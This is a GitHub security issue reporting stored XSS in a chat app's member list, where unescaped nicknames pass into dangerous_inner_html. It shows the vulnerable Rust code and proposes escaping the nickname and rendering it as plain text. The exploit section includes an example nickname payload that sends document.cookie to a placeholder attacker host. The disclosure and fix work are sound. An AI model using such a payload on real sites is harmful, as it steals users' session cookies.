Skip to content

security: stored XSS via member nickname rendered in dangerous_inner_html #227

@sanity

Description

@sanity

Severity

Stored XSS exploitable by any member of a room. The malicious nickname is rendered with dangerous_inner_html for every user who views the room's member list.

Where

ui/src/components/members.rs:282

button {
    class: "...",
    title: "Member ID: {member_id}",
    onclick: move |_| handle_member_click(member_id),
    span {
        dangerous_inner_html: "{display_name}"
    }
}

The display_name HTML is built in format_member_display() at lines 119-127 by directly concatenating member.nickname with handcrafted <span> tags:

let mut html = member.nickname.clone();   // <-- raw, never escaped
html.push(' ');
for (icon, tooltip) in &tags {
    html.push_str(&format!(
        "<span class=\"member-icon\" title=\"{}\">{}</span> ",
        tooltip, icon
    ));
}

The nickname comes from unseal_bytes_with_secrets(...) of the user's own signed MemberInfoV1.preferred_nickname. A user can therefore set any byte string as their nickname; cross-validation only checks the signature, not the content.

Exploit

A member sets their preferred nickname to e.g. <img src=x onerror="fetch('https://attacker/'+document.cookie)">. Every other user who opens that room renders the nickname unescaped via dangerous_inner_html, executing the script in their browser context.

This also re-instantiates the issue-225 pattern: a malicious nickname containing <a> would be nested inside the member-list <button>, swallowing clicks and breaking modal navigation.

Suggested fix

Two layers:

  1. HTML-escape member.nickname before placing it into the display_name HTML (e.g. via the htmlescape crate, or by replacing <>&'\" manually).
  2. Stop using dangerous_inner_html for member rows entirely. Render nickname as plain text in one element and the icon spans as separate Dioxus children — no string concatenation needed.

The same pattern exists at ui/src/components/conversation.rs:606 (label rendered via dangerous_inner_html) — worth auditing.

Found while

Investigating big-picture review feedback on PR #226 (#225 fix). The room header bug (<a> inside <button>) was fixed structurally; the same anti-pattern in members.rs is currently inert because nicknames don't usually contain HTML — but they CAN, and it isn't validated.

[AI-assisted - Claude]

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions